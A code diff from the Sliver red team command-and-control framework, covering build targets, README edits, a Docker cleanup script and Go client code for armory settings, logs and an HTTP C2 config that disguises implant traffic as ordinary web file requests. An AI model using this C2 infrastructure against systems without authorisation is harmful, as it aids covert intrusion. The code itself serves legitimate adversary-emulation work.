+	GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client

 .PHONY: linux-arm64
 linux-arm64: clean .downloaded_assets validate-go-version
-	GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+	GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client

-.PHONY: windows
-windows: clean .downloaded_assets validate-go-version
-	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
-	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
+.PHONY: windows-amd64
+windows-amd64: clean .downloaded_assets validate-go-version
+	GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
+	GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
+
+.PHONY: clients
+clients: clean .downloaded_assets validate-go-version
+	GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-amd64$(ARTIFACT_SUFFIX) ./client
+	GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-arm64$(ARTIFACT_SUFFIX) ./client
+	GOOS=linux GOARCH=386 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-386$(ARTIFACT_SUFFIX) ./client
+	GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-amd64$(ARTIFACT_SUFFIX) ./client
+	GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-arm64$(ARTIFACT_SUFFIX) ./client
+	GOOS=windows GOARCH=386 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-386$(ARTIFACT_SUFFIX).exe ./client
+	GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-amd64$(ARTIFACT_SUFFIX).exe ./client
+	GOOS=windows GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-arm64$(ARTIFACT_SUFFIX).exe ./client
+	GOOS=freebsd GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-amd64$(ARTIFACT_SUFFIX) ./client
+	GOOS=freebsd GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-arm64$(ARTIFACT_SUFFIX) ./client
+
+.PHONY: servers
+servers: 
+	GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-amd64$(ARTIFACT_SUFFIX).exe ./server
+	GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-amd64$(ARTIFACT_SUFFIX) ./server
+	GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-arm64$(ARTIFACT_SUFFIX) ./server
+	GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-arm64$(ARTIFACT_SUFFIX) ./server
+	GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-amd64$(ARTIFACT_SUFFIX) ./server

 .PHONY: pb
 pb:
@@ -157,8 +171,8 @@ pb:

 .PHONY: debug
 debug: clean
-	$(ENV) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	$(ENV) $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+	$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client

 validate-go-version:
 	@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
@@ -182,7 +196,7 @@ clean-all: clean

 .PHONY: clean
 clean:
-	rm -f sliver-client sliver-server sliver-*.exe
+	rm -f sliver-client sliver-client_* sliver-server sliver-server_* sliver-*.exe

 .downloaded_assets:
 	./go-assets.sh
@@ -1,5 +1,4 @@
-Sliver
-======
+# Sliver

 Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.

@@ -7,26 +6,32 @@ The server and client support MacOS, Windows, and Linux. Implants are supported

 [![Release](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)

+# v1.6.0 / `master`
+
+**NOTE:** You are looking at the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
+
+For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x/master` branch](https://github.com/BishopFox/sliver/tree/v1.5.x/master).
+
 ### Features

-* Dynamic code generation
-* Compile-time obfuscation
-* Multiplayer-mode
-* Staged and Stageless payloads
-* [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
-* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
-* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
-* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
-* Windows process migration, process injection, user token manipulation, etc.
-* Let's Encrypt integration
-* In-memory .NET assembly execution
-* COFF/BOF in-memory loader
-* TCP and named pipe pivots
-* Much more!
+- Dynamic code generation
+- Compile-time obfuscation
+- Multiplayer-mode
+- Staged and Stageless payloads
+- [Procedurally generated C2](https://sliver.sh/docs?name=HTTPS+C2) over HTTP(S)
+- [DNS canary](https://sliver.sh/docs?name=DNS+C2) blue team detection
+- [Secure C2](https://sliver.sh/docs?name=Transport+Encryption) over mTLS, WireGuard, HTTP(S), and DNS
+- Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
+- Windows process migration, process injection, user token manipulation, etc.
+- Let's Encrypt integration
+- In-memory .NET assembly execution
+- COFF/BOF in-memory loader
+- TCP and named pipe pivots
+- Much more!

 ### Getting Started

-Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
+Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://sliver.sh/docs?name=Getting+Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.

 #### Linux One Liner

@@ -34,17 +39,16 @@ Download the latest [release](https://github.com/BishopFox/sliver/releases) and

 ### Help!

-Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
+Please checkout the [wiki](https://sliver.sh/), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.

 ### Compile From Source

-See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
+See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).

 ### Feedback

-Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
+Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6).

 ### License - GPLv3

 Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
-
@@ -1,4 +1,4 @@
-#!/usr/bin/env python
+#!/usr/bin/env python3
 """
 Sliver Implant Framework
 Copyright (C) 2019  Bishop Fox
@@ -21,12 +21,6 @@ import os
 import sys
 import argparse

-try:
-    input = raw_input # Py2 / Py3 compatability
-except NameError:
-    pass
-
-
 INFO = "\033[1m\033[36m[*]\033[0m "
 WARN = "\033[1m\033[31m[!]\033[0m "
 BOLD = "\033[1m"
@@ -34,40 +28,46 @@ NORM = "\033[0m"


 def exec_cmd(cmd, ignore_status=False):
-    """ Executes a command with some sugar """
+    """Executes a command with some sugar"""
    print("\n" + INFO + " %s\n" % cmd)
    status = os.system(cmd)
    if status != 0 and not ignore_status:
        print("\n" + WARN + "Command did not exit cleanly (%s) " % status)
-        if input("continue? [Y/n]: ").upper() != 'Y':
+        if input("continue? [Y/n]: ").upper() != "Y":
            sys.exit(status)
    return status

+
 def docker_rm_volumes():
    exec_cmd("docker volume rm $(docker volume ls -q)", ignore_status=True)

+
 def docker_rm_containers():
    exec_cmd("docker rm $(docker ps -a -q)", ignore_status=True)

+
 def docker_rm_images():
    exec_cmd("docker rmi -f $(docker images -q)", ignore_status=True)

+
 def docker_prune():
    exec_cmd("docker image prune -f", ignore_status=True)

+
 def docker_rm_all():
    docker_rm_containers()
    docker_rm_images()
    docker_rm_volumes()

+
 def build():
-    status = exec_cmd("docker build -t sliver .")
+    status = exec_cmd("docker build --target test .")
    if status == 0:
-        print(INFO+"Build successful, start with %sdocker run -it sliver:latest%s" % (BOLD, NORM))
-        print(INFO+"Remember you'll need to manually forward network ports")
+        print("\n\n" + INFO + "Build successful")
+

 def main(args):
-    """ Execute the respective task(s) based on cli args """
+    """Execute the respective task(s) based on cli args"""
    if args.rm_images:
        docker_rm_images()
    if args.rm_containers:
@@ -76,42 +76,59 @@ def main(args):
        docker_rm_volumes()
    if args.rm_all:
        docker_rm_all()
-    
+
    if not args.no_prune:
        docker_prune()
    if not args.no_build:
        build()


-if __name__ == '__main__':
-    parser = argparse.ArgumentParser(
-        description='automates interactions with docker')
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser(description="automates interactions with docker")

-    parser.add_argument('--no-build', '-b',
-                        help='do not run build',
-                        dest='no_build',
-                        action='store_true')
-    parser.add_argument('--no-prune', '-np',
-                        help='do not prune images',
-                        dest='no_prune',
-                        action='store_true')
+    parser.add_argument(
+        "--no-build",
+        "-b",
+        help="do not run build",
+        dest="no_build",
+        action="store_true",
+    )
+    parser.add_argument(
+        "--no-prune",
+        "-np",
+        help="do not prune images",
+        dest="no_prune",
+        action="store_true",
+    )

-    parser.add_argument('--rm-all', '-rma',
-                        help='rm all containers, images, and volumes',
-                        dest='rm_all',
-                        action='store_true')
-    parser.add_argument('--rm-containers', '-rmc',
-                        help='rm all containers',
-                        dest='rm_containers',
-                        action='store_true')
-    parser.add_argument('--rm-images', '-rmi',
-                        help='rm all images',
-                        dest='rm_images',
-                        action='store_true')
-    parser.add_argument('--rm-volumes', '-rmv',
-                        help='rm dangling volumes only',
-                        dest='rm_volumes',
-                        action='store_true')
+    parser.add_argument(
+        "--rm-all",
+        "-rma",
+        help="rm all containers, images, and volumes",
+        dest="rm_all",
+        action="store_true",
+    )
+    parser.add_argument(
+        "--rm-containers",
+        "-rmc",
+        help="rm all containers",
+        dest="rm_containers",
+        action="store_true",
+    )
+    parser.add_argument(
+        "--rm-images",
+        "-rmi",
+        help="rm all images",
+        dest="rm_images",
+        action="store_true",
+    )
+    parser.add_argument(
+        "--rm-volumes",
+        "-rmv",
+        help="rm dangling volumes only",
+        dest="rm_volumes",
+        action="store_true",
+    )
    try:
        main(parser.parse_args())
    except KeyboardInterrupt:
@@ -19,7 +19,6 @@ package assets
 */

 import (
-	"io/ioutil"
 	"log"
 	"os"
 	"path/filepath"
@@ -45,7 +44,7 @@ func GetAliasesDir() string {
 // GetInstalledAliasManifests - Returns a list of installed alias manifests
 func GetInstalledAliasManifests() []string {
 	aliasDir := GetAliasesDir()
-	aliasDirContent, err := ioutil.ReadDir(aliasDir)
+	aliasDirContent, err := os.ReadDir(aliasDir)
 	if err != nil {
 		log.Printf("error loading aliases: %s", err)
 		return []string{}
@@ -20,7 +20,6 @@ package assets

 import (
 	"encoding/json"
-	"io/ioutil"
 	"log"
 	"os"
 	"os/exec"
@@ -28,7 +27,8 @@ import (
 )

 const (
-	armoryConfigFileName = "armories.json"
+	ArmoryConfigFileName = "armories.json"
+	DefaultArmoryName    = "Default"
 )

 var (
@@ -37,9 +37,11 @@ var (
 	// DefaultArmoryRepoURL - The default repo url for the armory
 	DefaultArmoryRepoURL string

-	defaultArmoryConfig = &ArmoryConfig{
+	DefaultArmoryConfig = &ArmoryConfig{
 		PublicKey: DefaultArmoryPublicKey,
 		RepoURL:   DefaultArmoryRepoURL,
+		Name:      DefaultArmoryName,
+		Enabled:   true,
 	}
 )

@@ -49,29 +51,65 @@ type ArmoryConfig struct {
 	RepoURL          string `json:"repo_url"`
 	Authorization    string `json:"authorization"`
 	AuthorizationCmd string `json:"authorization_cmd"`
+	Name             string `json:"name"`
+	Enabled          bool   `json:"enabled"`
 }

-// GetArmoriesConfig - The parsed armory config file
-func GetArmoriesConfig() []*ArmoryConfig {
-	armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
-	if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
-		return []*ArmoryConfig{defaultArmoryConfig}
-	}
-	data, err := ioutil.ReadFile(armoryConfigPath)
-	if err != nil {
-		return []*ArmoryConfig{defaultArmoryConfig}
-	}
-	var armoryConfigs []*ArmoryConfig
-	err = json.Unmarshal(data, &armoryConfigs)
-	if err != nil {
-		return []*ArmoryConfig{defaultArmoryConfig}
-	}
-	for _, armoryConfig := range armoryConfigs {
+func RefreshArmoryAuthorization(armories []*ArmoryConfig) {
+	for _, armoryConfig := range armories {
 		if armoryConfig.AuthorizationCmd != "" {
 			armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
 		}
 	}
-	return append(armoryConfigs, defaultArmoryConfig)
+}
+
+// GetArmoriesConfig - The parsed armory config file
+func GetArmoriesConfig() []*ArmoryConfig {
+	armoryConfigPath := filepath.Join(GetRootAppDir(), ArmoryConfigFileName)
+	if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
+		return []*ArmoryConfig{DefaultArmoryConfig}
+	}
+	data, err := os.ReadFile(armoryConfigPath)
+	if err != nil {
+		return []*ArmoryConfig{DefaultArmoryConfig}
+	}
+	var armoryConfigsFromFile []*ArmoryConfig
+	var armoryConfigs []*ArmoryConfig
+	err = json.Unmarshal(data, &armoryConfigsFromFile)
+	if err != nil {
+		return []*ArmoryConfig{DefaultArmoryConfig}
+	}
+
+	// Force the default armory to be the last
+	defaultArmorySpecified := false
+
+	for _, config := range armoryConfigsFromFile {
+		if config.Name == DefaultArmoryName {
+			defaultArmorySpecified = true
+			continue
+		} else {
+			armoryConfigs = append(armoryConfigs, config)
+		}
+	}
+	if defaultArmorySpecified {
+		armoryConfigs = append(armoryConfigs, DefaultArmoryConfig)
+	}
+	RefreshArmoryAuthorization(armoryConfigs)
+
+	return armoryConfigs
+}
+
+func SaveArmoriesConfig(armories []*ArmoryConfig) error {
+	configData, err := json.Marshal(armories)
+	if err != nil {
+		return err
+	}
+	armoryConfigPath := filepath.Join(GetRootAppDir(), ArmoryConfigFileName)
+	err = os.WriteFile(armoryConfigPath, configData, 0640)
+	if err != nil {
+		return err
+	}
+	return nil
 }

 func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
@@ -20,7 +20,6 @@ package assets

 import (
 	"fmt"
-	"io/ioutil"
 	"log"
 	"os"
 	"os/user"
@@ -50,9 +49,33 @@ func GetRootAppDir() string {
 	return dir
 }

+// GetClientLogsDir - Get the Sliver client logs dir ~/.sliver-client/logs/
+func GetClientLogsDir() string {
+	logsDir := filepath.Join(GetRootAppDir(), "logs")
+	if _, err := os.Stat(logsDir); os.IsNotExist(err) {
+		err = os.MkdirAll(logsDir, 0700)
+		if err != nil {
+			log.Fatal(err)
+		}
+	}
+	return logsDir
+}
+
+// GetConsoleLogsDir - Get the Sliver client console logs dir ~/.sliver-client/logs/console/
+func GetConsoleLogsDir() string {
+	consoleLogsDir := filepath.Join(GetClientLogsDir(), "console")
+	if _, err := os.Stat(consoleLogsDir); os.IsNotExist(err) {
+		err = os.MkdirAll(consoleLogsDir, 0700)
+		if err != nil {
+			log.Fatal(err)
+		}
+	}
+	return consoleLogsDir
+}
+
 func assetVersion() string {
 	appDir := GetRootAppDir()
-	data, err := ioutil.ReadFile(filepath.Join(appDir, versionFileName))
+	data, err := os.ReadFile(filepath.Join(appDir, versionFileName))
 	if err != nil {
 		return ""
 	}
@@ -0,0 +1,73 @@
+package assets
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+// HTTPC2Config - Parent config file struct for implant/server
+type HTTPC2Config struct {
+	ImplantConfig HTTPC2ImplantConfig `json:"implant_config"`
+	ServerConfig  HTTPC2ServerConfig  `json:"server_config"`
+}
+
+// HTTPC2ServerConfig - Server configuration options
+type HTTPC2ServerConfig struct {
+	RandomVersionHeaders bool                   `json:"random_version_headers"`
+	Headers              []NameValueProbability `json:"headers"`
+	Cookies              []string               `json:"cookies"`
+}
+
+type NameValueProbability struct {
+	Name        string `json:"name"`
+	Value       string `json:"value"`
+	Probability int    `json:"probability"`
+	Method      string `json:"method"`
+}
+
+// HTTPC2ImplantConfig - Implant configuration options
+// Procedural C2
+// ===============
+// .txt = rsakey
+// .css = start
+// .php = session
+//
+//	.js = poll
+//
+// .png = stop
+// .woff = sliver shellcode
+type HTTPC2ImplantConfig struct {
+	UserAgent         string `json:"user_agent"`
+	ChromeBaseVersion int    `json:"chrome_base_version"`
+	MacOSVersion      string `json:"macos_version"`
+
+	NonceQueryArgChars string                 `json:"nonce_query_args"`
+	URLParameters      []NameValueProbability `json:"url_parameters"`
+	Headers            []NameValueProbability `json:"headers"`
+	NonceQueryLength   int                    `json:"nonce_query_length"`
+	NonceMode          string                 `json:"nonce_mode"`
+
+	MaxFileGen    int `json:"max_files"`
+	MinFileGen    int `json:"min_files"`
+	MaxPathGen    int `json:"max_paths"`
+	MinPathGen    int `json:"min_paths"`
+	MaxPathLength int `json:"max_path_length"`
+	MinPathLength int `json:"min_path_length"`
+
+	Extensions []string `json:"extensions"`
+	Files      []string `json:"files"`
+	Paths      []string `json:"paths"`
+}
@@ -23,10 +23,9 @@ import (
 	"encoding/json"
 	"errors"
 	"fmt"
-	"io/ioutil"
+	"io"
 	"log"
 	"os"
-	"path"
 	"path/filepath"
 )

@@ -51,7 +50,7 @@ func GetConfigDir() string {
 	rootDir, _ := filepath.Abs(GetRootAppDir())
 	dir := filepath.Join(rootDir, ConfigDirName)
 	if _, err := os.Stat(dir); os.IsNotExist(err) {
-		err = os.MkdirAll(dir, 0700)
+		err = os.MkdirAll(dir, 0o700)
 		if err != nil {
 			log.Fatal(err)
 		}
@@ -62,7 +61,7 @@ func GetConfigDir() string {
 // GetConfigs - Returns a list of available configs
 func GetConfigs() map[string]*ClientConfig {
 	configDir := GetConfigDir()
-	configFiles, err := ioutil.ReadDir(configDir)
+	configFiles, err := os.ReadDir(configDir)
 	if err != nil {
 		log.Printf("No configs found %v", err)
 		return map[string]*ClientConfig{}
@@ -70,8 +69,8 @@ func GetConfigs() map[string]*ClientConfig {

 	confs := map[string]*ClientConfig{}
 	for _, confFile := range configFiles {
-		confFilePath := path.Join(configDir, confFile.Name())
-		log.Printf("Parsing config %s", confFilePath)
+		confFilePath := filepath.Join(configDir, confFile.Name())
+		// log.Printf("Parsing config %s", confFilePath)

 		conf, err := ReadConfig(confFilePath)
 		if err != nil {
@@ -91,7 +90,7 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
 		return nil, err
 	}
 	defer confFile.Close()
-	data, err := ioutil.ReadAll(confFile)
+	data, err := io.ReadAll(confFile)
 	if err != nil {
 		log.Printf("Read failed %v", err)
 		return nil, err
@@ -114,7 +113,7 @@ func SaveConfig(config *ClientConfig) error {
 	filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
 	saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
 	configJSON, _ := json.Marshal(config)
-	err := ioutil.WriteFile(saveTo, configJSON, 0600)
+	err := os.WriteFile(saveTo, configJSON, 0o600)
 	if err != nil {
 		log.Printf("Failed to write config to: %s (%v)", saveTo, err)
 		return err
@@ -19,7 +19,6 @@ package assets
 */

 import (
-	"io/ioutil"
 	"log"
 	"os"
 	"path/filepath"
@@ -46,7 +45,7 @@ func GetExtensionsDir() string {
 // GetInstalledExtensionManifests - Returns a list of installed extension manifests
 func GetInstalledExtensionManifests() []string {
 	extDir := GetExtensionsDir()
-	extDirContent, err := ioutil.ReadDir(extDir)
+	extDirContent, err := os.ReadDir(extDir)
 	if err != nil {
 		log.Printf("error loading aliases: %s", err)
 		return []string{}
@@ -20,7 +20,7 @@ package assets

 import (
 	"encoding/json"
-	"io/ioutil"
+	"os"
 	"path/filepath"
 )

@@ -36,12 +36,14 @@ type ClientSettings struct {
 	SmallTermWidth    int    `json:"small_term_width"`
 	AlwaysOverflow    bool   `json:"always_overflow"`
 	VimMode           bool   `json:"vim_mode"`
+	UserConnect       bool   `json:"user_connect"`
+	ConsoleLogs       bool   `json:"console_logs"`
 }

 // LoadSettings - Load the client settings from disk
 func LoadSettings() (*ClientSettings, error) {
 	rootDir, _ := filepath.Abs(GetRootAppDir())
-	data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
+	data, err := os.ReadFile(filepath.Join(rootDir, settingsFileName))
 	if err != nil {
 		return defaultSettings(), err
 	}
@@ -61,6 +63,7 @@ func defaultSettings() *ClientSettings {
 		SmallTermWidth:    170,
 		AlwaysOverflow:    false,
 		VimMode:           false,
+		ConsoleLogs:       true,
 	}
 }

@@ -74,6 +77,6 @@ func SaveSettings(settings *ClientSettings) error {
 	if err != nil {
 		return err
 	}
-	err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
+	err = os.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0o600)
 	return err
 }
@@ -25,11 +25,8 @@ import (
 	"path"

 	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/command"
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/transport"
-	"github.com/bishopfox/sliver/client/version"
-
+	"github.com/rsteube/carapace"
 	"github.com/spf13/cobra"
 )

@@ -37,14 +34,10 @@ const (
 	logFileName = "sliver-client.log"
 )

-var (
-	sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
-)
-
-// Initialize logging
+// Initialize logging.
 func initLogging(appDir string) *os.File {
 	log.SetFlags(log.LstdFlags | log.Lshortfile)
-	logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0600)
+	logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600)
 	if err != nil {
 		panic(fmt.Sprintf("[!] Error opening file: %s", err))
 	}
@@ -53,57 +46,53 @@ func initLogging(appDir string) *os.File {
 }

 func init() {
+	appDir := assets.GetRootAppDir()
+	logFile := initLogging(appDir)
+	defer logFile.Close()
+
+	rootCmd.TraverseChildren = true
+
+	// Create the console client, without any RPC or commands bound to it yet.
+	// This created before anything so that multiple commands can make use of
+	// the same underlying command/run infrastructure.
+	con := console.NewConsole(false)

 	// Import
-	rootCmd.AddCommand(cmdImport)
+	rootCmd.AddCommand(importCmd())

 	// Version
 	rootCmd.AddCommand(cmdVersion)
+
+	// Client console.
+	// All commands and RPC connection are generated WITHIN the command RunE():
+	// that means there should be no redundant command tree/RPC connections with
+	// other command trees below, such as the implant one.
+	rootCmd.AddCommand(consoleCmd(con))
+
+	// Implant.
+	// The implant command allows users to run commands on slivers from their
+	// system shell. It makes use of pre-runners for connecting to the server
+	// and binding sliver commands. These same pre-runners are also used for
+	// command completion/filtering purposes.
+	rootCmd.AddCommand(implantCmd(con))
+
+	// No subcommand invoked means starting the console.
+	rootCmd.RunE, rootCmd.PostRunE = consoleRunnerCmd(con, true)
+
+	// Completions
+	carapace.Gen(rootCmd)
 }

 var rootCmd = &cobra.Command{
 	Use:   "sliver-client",
 	Short: "",
 	Long:  ``,
-	Run: func(cmd *cobra.Command, args []string) {
-		appDir := assets.GetRootAppDir()
-		logFile := initLogging(appDir)
-		defer logFile.Close()
-
-		os.Args = os.Args[:1] // Stops grumble from complaining
-		err := StartClientConsole()
-		if err != nil {
-			fmt.Printf("[!] %s\n", err)
-		}
-	},
 }

-// StartClientConsole - Start the client console
-func StartClientConsole() error {
-	configs := assets.GetConfigs()
-	if len(configs) == 0 {
-		fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
-		return nil
-	}
-	config := selectConfig()
-	if config == nil {
-		return nil
-	}
-
-	fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
-	rpc, ln, err := transport.MTLSConnect(config)
-	if err != nil {
-		fmt.Printf("Connection to server failed %s", err)
-		return nil
-	}
-	defer ln.Close()
-	return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
-}
-
-// Execute - Execute root command
+// Execute - Execute root command.
 func Execute() {
 	if err := rootCmd.Execute(); err != nil {
-		fmt.Println(err)
+		fmt.Printf("root command: %s\n", err)
 		os.Exit(1)
 	}
 }
@@ -23,12 +23,10 @@ import (
 	"sort"

 	"github.com/bishopfox/sliver/client/assets"
-
 	"gopkg.in/AlecAivazis/survey.v1"
 )

 func selectConfig() *assets.ClientConfig {
-
 	configs := assets.GetConfigs()

 	if len(configs) == 0 {
@@ -53,7 +51,6 @@ func selectConfig() *assets.ClientConfig {
 }

 func getPromptForConfigs(configs map[string]*assets.ClientConfig) []*survey.Question {
-
 	keys := []string{}
 	for k := range configs {
 		keys = append(keys, k)
@@ -0,0 +1,105 @@
+package cli
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
